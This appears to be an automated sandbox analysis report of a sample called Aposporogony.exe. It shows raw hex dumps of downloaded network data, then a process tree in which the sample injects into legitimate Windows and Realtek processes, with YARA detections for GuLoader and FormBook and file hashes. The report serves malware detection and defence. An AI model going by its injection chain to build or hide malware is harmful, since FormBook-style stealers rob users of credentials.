2022-11-21 18:18:36 UTC	175	IN	Data Raw: 57 72 a5 e3 06 b3 fe 7d c8 57 2f 25 53 34 9b 0b ed d5 64 73 d4 b9 20 0a 10 36 8d 66 d6 8f 21 dd 79 7c 6b 15 2b 2d 6f 9f e3 6c 6f 86 b4 c2 31 3e 41 64 8c 92 a1 d5 c8 37 73 b7 64 36 ac 34 44 0c 8b 40 d1 20 3d 8f f5 c8 54 86 da 63 46 59 b5 38 a1 60 10 7a 21 ce 72 64 9f e6 da fb 5e 58 1e 61 83 5c e7 07 09 34 59 07 f8 e0 11 2b 5a db 05 ea 4a ed 35 4e 49 fe 65 47 40 79 0a 65 a7 b0 d3 56 0a 81 d6 77 71 ac dd e9 59 10 1d 10 bb 08 f8 e5 28 a1 86 a1 da b9 14 97 26 ae 45 2d d1 4c 2d 06 36 f1 b3 34 28 39 76 88 75 2c e1 13 de f1 93 b1 13 4e ab 66 c5 ca a6 1c f7 34 63 d3 ba bb b0 f5 79 cd 26 4a ff 53 6c 57 fc af 81 63 56 30 53 2e 22 d5 58 4d 29 6c 68 54 e6 91 8d 77 d5 c9 84 d9 5a 91 29 aa 22 ae 25 a9 b6 9d 15 e5 6d 34 68 41 d7 34 da a0 53 55 d5 ae ee 48 cc ae 74 4a c5 Data Ascii: Wr}W/%S4ds 6f!y\|k+-olo1>Ad7sd64D@ =TcFY8`z!rd^Xa\4Y+ZJ5NIeG@yeVwqY(&E-L-64(9vu,Nf4cy&JSlWcV0S."XM)lhTwZ)"%m4hA4SUHtJ
2022-11-21 18:18:36 UTC	176	IN	Data Raw: 10 72 e6 68 0e 71 98 47 08 e9 d8 f3 07 e6 59 08 3f 8f 21 30 b5 2b f6 6e ab 53 d1 de 69 f1 90 9a 52 42 2f 18 74 0a 4a c6 53 3f ff 2b 26 16 a1 02 51 2a cb c5 b0 98 02 b0 52 3a 79 f4 ad 27 90 84 45 f5 0b ef 88 af ac ca ad 9f 86 fa d8 cf 2c bd b2 7d c1 6c b3 4e 22 7e 22 f8 d8 cf 1f 36 b6 cf f6 e8 b1 09 88 10 8f 78 d9 00 50 40 2e 33 54 df 59 0d 89 38 11 c8 1b fb 49 61 40 f6 34 04 7c 69 9f 4b 5b 05 72 23 3b 44 e8 b6 a2 9f 2a 02 81 da df e4 d5 f1 b1 c3 33 21 38 97 67 9f 3d 15 27 42 af e6 ff 99 7a 8f 22 76 cc 1b 77 bc ce 3b 92 df 31 02 11 6b 1e 77 83 ee a5 b2 59 6a c3 c4 c8 2f 1d dc e1 bf 5f ac 5e 72 37 a7 af 35 3d c5 90 35 bd ab 60 25 96 47 e4 8e ef 97 4c de 07 5e 6b 3f 64 40 60 77 c1 7e 9f 1f 72 c5 0a 60 50 f1 20 9d 51 85 cc 25 0d 6f 0d b4 59 be 34 b1 be ad dc Data Ascii: rhqGY?!0+nSiRB/tJS?+&QR:y'E,}lN"~"6xP@.3TY8Ia@4\|iK[r#;D3!8g='Bz"vw;1kwYj/_^r75=5`%GL^k?d@`w~r`P Q%oY4
2022-11-21 18:18:36 UTC	177	IN	Data Raw: d9 93 1e bc 85 43 10 a4 b0 a9 08 f4 99 24 8c ea e0 5a e5 04 96 e8 55 2f 5d 89 2b 50 fa 58 e6 20 69 01 0c b2 1b 75 15 67 f3 cd ee 6c 40 fb 05 6b eb c5 43 ff f8 c9 46 06 91 74 fc be 3c f4 37 f0 0a 34 6c 16 e4 68 7d db 05 8f d5 e9 9d c2 cc f1 dd d5 3f bc 2a 1f 70 af 7f 62 f8 62 5c b5 46 58 f1 14 7a bf cc 8c 74 0f 55 5a 7b 3f Data Ascii: C$ZU/]+PX iugl@kCFt<74lh}?*pbb\FXztUZ{?
2022-11-21 18:18:36 UTC	177	IN	Data Raw: c7 6a 20 22 5f 6d 36 22 09 78 93 b8 5e b3 a2 8d 8f a2 be 35 82 25 ae 83 9f 1b c6 b7 2a b0 39 61 8f 21 24 1d 42 3d c0 59 35 6b 28 b9 4c 96 4e a3 57 fc f9 18 e9 f0 57 60 f5 8d 3a de 83 a8 b3 62 e4 a4 cd 1a d3 96 cf ca 7a f5 f6 31 49 fa c7 06 9d f0 2a b6 0d 7d 7e ec e2 1d 28 5c 4b 0b 6a 39 5e de 4f af 15 e5 40 4c 16 32 10 e9 ac cb 17 28 22 34 28 44 fc 3c 42 ca ae 76 15 f8 b7 da c0 3a c0 b9 fa b6 be 45 59 e6 95 1b e6 be f6 7f 94 15 91 4b 8c 97 60 fb 74 84 b0 3f a3 43 2e de 68 75 cd d9 b9 5f 32 9c d8 06 7f 6c 32 6b 4e 17 40 57 35 e3 63 7c bd 16 8f d1 05 46 22 fc 93 f3 85 58 9a 2e 56 9b 76 fe 35 69 e1 33 c9 74 71 c9 fd ca 8b cb 0c d4 2b 75 5c 5c ae a5 bd 60 bc c7 d6 99 b0 5f e7 6b eb 7f 4c 39 6c ca 20 6e ba e9 61 f3 aa b3 0e 99 23 e7 39 63 f6 f3 c2 2d 3d d5 ec Data Ascii: j "_m6"x^5%9a!$B=Y5k(LNWW`:bz1I}~(\Kj9^O@L2("4(D<Bv:EYK`t?C.hu_2l2kN@W5c\|F"X.Vv5i3tq+u\\`_kL9l na#9c-=
2022-11-21 18:18:36 UTC	179	IN	Data Raw: 84 a3 46 1a 2d 79 ac 5d cc 2e 69 3e f7 26 c7 16 d0 1e fa db d6 36 b8 ab 97 5c 06 be d6 73 5e 4a 08 a6 85 9c bf 3e 4f 1f 11 df 8f ff 4c d9 d7 fb c7 c9 0e 94 cd 34 c3 4e 2e 54 bb 60 d1 31 3f 60 fd 47 3f 7f 2d 41 c3 79 6b 4d 81 07 e2 0e 1f c4 30 b0 50 ac 61 2d 28 11 22 00 4d 36 87 88 dc 65 79 40 4e a4 ca 0f 45 1c bb 61 37 50 b1 c1 10 65 2a 7c 27 aa a1 a7 00 a6 f8 12 f4 00 5f 31 a7 61 90 d6 94 6a 2c a9 2f 2e 03 3a 87 dd b2 7b d2 cd 60 59 04 28 46 60 f4 bb 15 2e 28 e2 bc 4c b6 38 30 6e b8 79 30 9c 8a 45 ee b7 96 6c 38 c0 56 a4 45 ec 4c 83 78 b5 17 c3 35 16 f4 5d 38 62 3a d4 56 5b 6a e6 67 f9 4f c3 82 ff 57 6b 48 b0 75 83 fc 04 a6 91 90 e7 d7 63 de 77 72 e7 d3 76 f7 5e 2d 68 9d 71 0d 2a f1 b8 b3 a2 f0 29 40 4c 78 77 e9 c3 cd 66 7b df 06 40 46 8e 04 c8 84 7a e0 Data Ascii: F-y].i>&6\s^J>OL4N.T`1?`G?-AykM0Pa-("M6ey@NEa7Pe\|'_1aj,/.:{`Y(F`.(L80ny0El8VELx5]8b:V[jgOWkHucwrv^-hq)@Lxwf{@Fz
2022-11-21 18:18:36 UTC	180	IN	Data Raw: aa e6 18 d6 a3 c4 08 d0 ec 1f 1b dd 0e ca 24 0a 45 70 2e 10 0c b3 61 91 af e6 07 62 89 fa 10 c4 1b b9 20 e4 b1 67 d1 f4 ca 39 35 fb 8c 64 fa f8 bb 30 7d 51 45 00 06 9f 70 7d 38 ec 5c ec a2 5e c9 6d a9 b9 e9 a5 09 37 05 12 11 cd 35 a3 65 e1 63 96 6a 3d 12 d8 17 8d fd 3d 3c 26 0f 41 78 e6 65 ee b3 49 3f d9 ac 0f 4f 50 74 7a 45 87 f7 76 e6 5b 64 52 38 5c b7 4d ed 53 3c 13 7f c5 8e 4e 1d 83 45 41 b5 4a cc 8f 15 6a ff 33 32 d7 ed d1 10 5d 93 3d 79 9e bb bb 2e ac a6 9c 8b ab 4b 8f f4 1e 7f c3 45 23 90 72 da af c3 34 b9 a1 55 67 1e a5 02 20 30 f8 4e c0 16 b4 24 8f 52 f4 c4 aa 0d 34 47 19 64 1b 6a 8c 34 a6 09 27 75 c9 03 a5 2e 42 78 0c dd 77 ec be 5c c4 7c 2d bc 6d bd 23 a5 48 03 20 e2 07 45 d9 5b 66 65 95 7e a9 2f 24 ec 8e 22 76 46 7b bb 43 b5 6b b2 0f 32 f1 84 Data Ascii: $Ep.ab g95d0}QEp}8\^m75ecj==<&AxeI?OPtzEv[dR8\MS<NEAJj32]=y.KE#r4Ug 0N$R4Gdj4'u.Bxw\\|-m#H E[fe~/$"vF{Ck2
2022-11-21 18:18:36 UTC	181	IN	Data Raw: 9b 9b ce 1f 16 da 07 fe e6 3d 3c 6d 83 d7 28 28 c7 79 11 8f 8c 94 69 af 11 da 08 08 3f 0f 96 2a 95 ce 51 e7 75 47 f0 81 1e 92 4f 4f c7 f9 0f 11 3e bf f3 3a fd 7a 62 96 ea 57 a2 0e 28 f0 4a 46 a6 4c 76 a9 9a 20 e2 9f 0f dc 87 0e 81 e4 3c 2d 67 1b 68 ed 14 53 30 31 06 64 ca c2 41 ea 68 bc a6 b5 12 a0 3e f7 80 62 b7 ba cc bf 02 67 00 fa 9b fd 8c 85 b8 7d 4e 80 90 db 71 90 34 59 77 b3 8a c9 bf b1 1e 93 61 e9 22 ee 77 f8 e2 39 9a 59 fc 61 3c 62 03 05 78 5d 85 b3 8e d9 81 91 4e b1 b0 96 c2 d9 48 b3 60 bb 49 f3 33 2a 2d f7 3e e3 72 a8 f7 41 ca af be 30 d4 99 d7 4e a8 50 9b 0e bf ba c2 a8 9f 6d 93 94 88 45 16 fc d8 8a d2 65 dd e9 88 61 fa 4a c7 9d f9 b0 97 b6 ae 7e 2a 0a 48 d8 40 d8 74 e5 a8 f5 63 28 c9 cf ff c6 b5 c7 14 67 88 84 ae 3c ab b1 b4 18 4f 88 1a 9e 43 Data Ascii: =<m((yi?QuGOO>:zbW(JFLv <-ghS01dAh>bg}Nq4Ywa"w9Ya<bx]NH`I3->rA0NPmEeaJ~*H@tc(g<OC
2022-11-21 18:18:36 UTC	182	IN	Data Raw: 8e c0 be 82 9c da f4 c6 b0 b8 b4 a0 4f 10 b5 f1 b7 4b 08 67 e8 a9 47 fa 1d 78 34 53 c1 b9 e7 97 7a 84 88 15 dc 37 5a 29 b4 57 6c 1d 25 a1 11 32 1b e9 34 e1 ea ab 5c c5 dd 44 18 79 34 60 cb 4e 2c 5c 17 cc 2a de ec 8b 00 d3 8b 30 3f 5a d6 a1 6f 6c b8 78 6e ab 77 2b 00 59 44 18 9a f1 5f cb c0 a9 c2 ca 5f 83 00 d2 9a bc d7 7b 89 2b c2 f2 93 49 72 83 a2 e3 80 e9 bd 1b 39 6c ba 28 d8 9f 6d 79 5d d7 20 44 d9 85 52 47 d2 c6 3d 87 3d ae 11 84 e8 b0 5a 99 65 6a 67 dc f9 37 03 e2 7a 88 ef 39 89 a3 c6 1d 9a d1 68 d3 23 f9 e2 af af 22 1d 64 30 5e b1 f1 fb 66 f9 ef 25 70 f5 76 5c fc 80 e7 82 c8 d2 de 1a 77 5f 4f 5f d6 ff e0 aa a5 fc 68 d6 05 57 e5 20 19 16 67 ea 48 da ed c6 dd c6 9b 60 63 03 67 f5 2a 26 ff 3e d3 fd 77 f5 d3 62 bb 29 57 2e ec d2 cc 83 f3 de cc f4 92 0e Data Ascii: OKgGx4Sz7Z)Wl%24\Dy4`N,\0?Zolxnw+YD__{+Ir9l(my] DRG==Zejg7z9h#"d0^f%pv\w_O_hW gH`cg&>wb)W.
2022-11-21 18:18:36 UTC	184	IN	Data Raw: f5 c7 6d 51 13 24 85 a6 b9 45 ed a7 82 8d a2 34 81 2a 82 24 78 b6 ac 23 53 56 9c 92 cb bf ce 69 ef 7e 05 85 98 13 0b a5 f8 60 d7 79 ca 54 76 7e 22 5e 24 24 31 64 ad 06 21 6d 75 93 a7 da c5 3f 07 67 0a ca d1 ef 48 44 11 6b 11 2e 10 ed 0d 06 89 20 b5 9d 3b a2 56 fb ab 92 5e a7 bb 6b d5 02 35 63 b2 fb 92 b4 8b d3 4f 68 28 20 48 29 24 08 0e 2e e4 e7 3f 3e 42 3c f0 1c ee c3 eb c0 87 3e 94 e3 95 d6 39 38 f2 6d ef 03 5e 8b cf 5a 43 a9 83 5c 9c 12 07 91 d3 8b 7f 8c 35 81 ea 1c d6 f7 6b 75 40 55 24 d8 75 db 2e 26 15 18 bd 43 7a 73 fe 78 0f 82 e9 13 11 24 18 2a 6c 45 dc 93 d2 88 5e 70 5d e5 53 2b da 48 04 bd 96 0c e0 e5 26 7d 7e 69 48 0a f8 28 f5 f5 e4 53 10 e9 37 55 ef 00 29 5f b4 8c 3e 83 b2 64 c1 1f 93 7a 44 a8 21 5b f5 1f 50 90 8e 02 db ea 0c f9 77 fe 45 68 f2 Data Ascii: mQ$E4$x#SVi~`yTv~"^$$1d!mu?gHDk. ;V^k5cOh( H)$.?>B<>98m^ZC\5ku@U$u.&Czsx$lE^p]S+H&}~iH(S7U)_>dzD![PwEh
2022-11-21 18:18:36 UTC	185	IN	Data Raw: 79 c8 12 67 2f 26 75 38 7f 18 8d ac 96 7a bd 3a df c0 b5 e9 13 07 a5 49 c1 53 6e 81 7b 07 93 0b d8 18 1a 07 63 c2 80 1e db 83 44 0c 38 46 59 ce 7e c8 82 59 b4 d3 8d 49 88 d7 4b 08 96 d6 1c 1a 46 0e f8 39 b0 55 c6 08 d6 eb 09 8c d3 6e 17 c4 93 10 0f 1a cb 8a a0 15 b2 72 56 7d f3 5c 41 83 78 88 b3 58 3c 6a d3 29 7a 44 69 71 d2 f6 b0 5c 31 67 9d cb e7 fa c3 8a 3c 12 ff 2f 3a 36 f4 3f 49 f5 c5 0c 16 5b 2b 15 30 d8 45 16 ce de bd cd 86 10 15 92 97 16 63 6c 03 76 fa d5 79 09 3d 72 33 5a a5 1f a9 6e 15 97 09 b6 d4 05 8d b0 01 0b 88 8b 0f dd 9b 92 b0 51 c4 c5 fa 18 06 f0 af 0b c3 30 bc d4 69 bb 04 b0 39 8b b3 b8 0f b2 bd 66 2e 64 24 63 4a 82 c0 31 98 3f 46 be 57 9c 20 81 70 fd 81 ab 41 63 2f a0 8f 13 19 fc d4 92 93 ce 33 4b c4 20 f1 96 77 f0 39 4e e8 4b 06 69 64 Data Ascii: yg/&u8z:ISn{cD8FY~YIKF9UnrV}\AxX<j)zDiq\1g</:6?I[+0Eclvy=r3ZnQ0i9f.d$cJ1?FW pAc/3K w9NKid
2022-11-21 18:18:36 UTC	186	IN	Data Raw: 40 07 89 41 85 20 9c 95 57 ab 15 0e d8 ba 2f 53 ff d6 99 a1 0e c8 21 07 56 c4 71 c1 87 c4 b8 93 3e 1f 84 de 21 7d 5f 13 2c 68 3e a5 40 e2 36 24 20 39 2a 97 be 5d 27 57 79 82 3c 86 6d 06 04 9a 1f 5c 8a c7 9e e1 0d c9 0a 0d 05 9e a3 7e 62 18 23 ff 61 20 7e 2c f4 c2 83 9b ca c5 bd 60 f6 91 c8 d5 c3 1e 2d 46 0a 87 a2 5e a9 6b 79 99 ff 22 96 d4 ab d2 a6 be ac a8 ff 75 fa dd 6d 91 a3 2b d7 43 e9 86 ff f1 a1 8e cf ad a9 ee 89 5a b0 8a 36 8a fd 70 4f f8 f0 2a dd d3 25 e9 a4 4a 16 a4 f8 16 c1 7f 72 09 2f ce 24 cc f3 b0 30 6a 2f 0a b4 19 c6 bb d9 d6 63 e8 6b 42 7f db 8b b8 1e bc b9 6d 9f 36 87 05 34 61 ff 4e 64 dc 76 a8 c3 a1 05 ab 2e 3e 1b 6f fa ea 7f 68 01 71 f8 d6 f7 8e 3e 20 0c ba fb 57 19 af 8a bf 0e a2 91 27 a9 ef 6d 20 3f f8 07 87 6f 4a 36 fd 4e ef 0e 4b 3d Data Ascii: @A W/S!Vq>!}_,h>@6$ 9]'Wy<m\~b#a ~,`-F^ky"um+CZ6pO%Jr/$0j/ckBm64aNdv.>ohq> W'm ?oJ6NK=
2022-11-21 18:18:36 UTC	187	IN	Data Raw: 0a a6 8b e8 b0 42 60 e7 d9 e5 48 d4 56 24 9f f3 31 4d dc 99 c8 55 19 4a 30 2d a4 01 78 9a e1 09 cd 98 f8 48 0c 40 a0 a4 9e b7 74 84 ce af 52 94 63 57 86 31 e3 8e 60 d4 05 3d a3 6d 7e d4 87 b7 b6 af 98 c0 f4 c3 3c 79 3b ac b3 89 19 22 3d fb c4 ac 11 89 c4 6c 45 c8 ee eb 91 22 79 3d f8 58 af a3 60 2d ff af f7 eb 6e d4 8e f2 1a 19 9f 1c 64 63 31 f2 cd a2 09 63 ba ae 8f ac c5 8a 86 80 87 b9 e4 72 23 1d 27 36 f6 f9 8c aa be a2 3d 36 1f 36 43 ee 24 3a 06 eb a9 90 dd 3e c6 ce df 65 02 97 05 a7 b2 ed 87 48 e9 b4 b5 cf 8f b1 82 d4 91 6a c6 ed 46 e8 21 04 27 96 0a 76 79 67 08 b1 12 93 ad 9c f6 76 4e 97 bb 78 0d ee cb dd 74 30 b1 aa 82 94 14 b4 b6 81 81 1c c0 67 66 0f f4 8c 18 3f 84 78 06 3d 82 b6 10 75 89 38 08 a6 00 6c 16 48 b0 27 38 44 53 10 6a cf 4a db ab 51 d7 Data Ascii: B`HV$1MUJ0-xH@tRcW1`=m~<y;"=lE"y=X`-ndc1cr#'6=66C$:>eHjF!'vygvNxt0gf?x=u8lH'8DSjJQ
2022-11-21 18:18:36 UTC	188	IN	Data Raw: 0a 72 7a 87 66 ea f4 df d5 f4 cc bb 07 b1 47 41 5a 53 eb 57 ad 28 fa 2f 8b ac 18 27 97 c2 11 8e d5 21 46 75 70 cc 95 fc 88 ae de 1f 6d 53 73 92 b8 c1 bd 03 1a ea c7 52 44 b8 fa 26 c0 88 ba 13 99 a2 e7 83 ab 61 52 89 be 2a 78 76 73 8d 51 6e 29 e6 a7 28 ea 82 31 56 62 d3 bc a5 96 2b 42 b6 d9 0e 89 cc ad 6e 33 c9 d3 2f a0 c7 bc 69 08 95 74 74 6b b0 a7 ff 2f b3 3f 82 df 19 b6 dd e4 a4 89 fa 85 1b 80 61 e3 27 e8 04 85 67 b4 ec 1c 61 11 60 05 3f c4 e5 30 e5 7c 6f 06 b7 d6 f4 a0 7b 57 c7 39 dc 6f fe 7c 7e f3 de a9 99 83 10 b2 d1 00 0e 33 65 1f 02 88 0a 14 0a 37 c2 89 f2 39 dd 9d e7 f2 96 37 d1 8b 0c bc cf e8 74 68 1c f3 ad 8d 52 d0 e7 b1 b3 84 95 1d 7c 8e 9a e5 53 fc 81 c2 c9 3f 74 f1 54 6e a1 ef 62 98 97 e6 0e c9 f0 f9 cb 18 0c 16 a2 a2 fd cd 8b 6b dc 4a 6c 7c Data Ascii: rzfGAZSW(/'!FupmSsRD&aR*xvsQn)(1Vb+Bn3/ittk/?a'ga`?0\|o{W9o\|~3e797thR\|S?tTnbkJl\|
2022-11-21 18:18:36 UTC	190	IN	Data Raw: fd 17 90 63 73 1c 6b a6 c5 24 bd cf 0d d2 71 77 02 78 37 68 bb d5 91 4d d8 f3 9f 66 af 03 47 60 cf 36 04 2d 1d 8c d5 dc 17 2f 4f 75 db eb da cc 6c 1d a1 60 9b 6e 05 a7 b1 8d 4b 4c 9f b5 a0 0a 59 79 42 d7 39 b3 28 7b 69 89 0b e3 24 83 a7 93 1f b6 d5 a0 56 36 8c 3a 63 80 30 9c 3f 2b f2 df 8d e1 c6 8c 52 27 8f b8 7a 29 43 b6 62 2f 75 77 43 16 aa 30 3f 66 8b 0f 40 89 22 51 00 41 d7 2c 62 3f b5 49 48 ef bb 16 47 80 c4 26 f7 80 b5 55 59 f4 96 fd 8b 99 34 0d d6 cb 6d 5d 52 7f 1a 3c e1 66 a7 2c 66 75 22 fd f6 7b 33 97 39 14 a7 70 4a 28 47 d7 30 61 4d 00 29 dc ff 25 d4 03 08 f0 08 17 9b 19 d9 b2 38 58 45 ac ce fa 69 c4 82 f9 19 e2 93 ab ca 84 fb bf 52 b4 b1 ed f1 a9 a7 92 f9 ed 65 12 b5 da aa 74 43 be 23 86 eb 2e 75 fb 80 b8 9e d3 f9 46 56 8b ea 4d 57 06 d8 7c 9c Data Ascii: csk$qwx7hMfG`6-/Oul`nKLYyB9({i$V6:c0?+R'z)Cb/uwC0?f@"QA,b?IHG&UY4m]R<f,fu"{39pJ(G0aM)%8XEiRetC#.uFVMW\|

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Aposporogony.exePID: 5384, Parent PID: 4844

General

Target ID:	0
Start time:	19:17:46
Start date:	21/11/2022
Path:	C:\Users\user\Desktop\Aposporogony.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Aposporogony.exe
Imagebase:	0x400000
File size:	598249 bytes
MD5 hash:	7CC14B0B7F4C470C20864D25BCC2DB3D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2043095128.0000000003480000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: Aposporogony.exePID: 6960, Parent PID: 5384

General

Target ID:	4
Start time:	19:18:16
Start date:	21/11/2022
Path:	C:\Users\user\Desktop\Aposporogony.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Aposporogony.exe
Imagebase:	0x400000
File size:	598249 bytes
MD5 hash:	7CC14B0B7F4C470C20864D25BCC2DB3D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2220881682.0000000000060000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2220881682.0000000000060000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2220881682.0000000000060000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2220881682.0000000000060000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000000.1828325700.0000000001660000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2239453620.000000001D4A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2239453620.000000001D4A0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2239453620.000000001D4A0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2239453620.000000001D4A0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low

Chronological Activities

Analysis Process: RAVCpl64.exePID: 7648, Parent PID: 6960

General

Target ID:	5
Start time:	19:18:49
Start date:	21/11/2022
Path:	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe" -s
Imagebase:	0x140000000
File size:	16696840 bytes
MD5 hash:	731FB4B2E5AFBCADAABB80D642E056AC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000000.2167661567.000000000076B000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000000.2167661567.000000000076B000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000000.2167661567.000000000076B000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000000.2167661567.000000000076B000.00000040.00000001.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000000.2175496471.000000000076B000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000000.2175496471.000000000076B000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000000.2175496471.000000000076B000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000000.2175496471.000000000076B000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate

Chronological Activities

Analysis Process: mstsc.exePID: 7384, Parent PID: 7648

General

Target ID:	6
Start time:	19:18:52
Start date:	21/11/2022
Path:	C:\Windows\SysWOW64\mstsc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\mstsc.exe
Imagebase:	0x970000
File size:	1264640 bytes
MD5 hash:	B038F39C887BE2A810E20B08613F3B84
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.6580637298.0000000004320000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.6580637298.0000000004320000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.6580637298.0000000004320000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.6580637298.0000000004320000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.6566682514.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.6566682514.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.6566682514.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.6566682514.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.6580116972.00000000042F0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.6580116972.00000000042F0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.6580116972.00000000042F0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.6580116972.00000000042F0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate

Chronological Activities

Analysis Process: explorer.exePID: 4844, Parent PID: 7384

General

Target ID:	7
Start time:	19:19:06
Start date:	21/11/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff714a60000
File size:	4849904 bytes
MD5 hash:	5EA66FF5AE5612F921BC9DA23BAC95F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: firefox.exePID: 8080, Parent PID: 7384

General

Target ID:	11
Start time:	19:20:06
Start date:	21/11/2022
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Mozilla Firefox\Firefox.exe
Imagebase:	0x7ff7f4f50000
File size:	597432 bytes
MD5 hash:	FA9F4FC5D7ECAB5A20BF7A9D1251C851
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate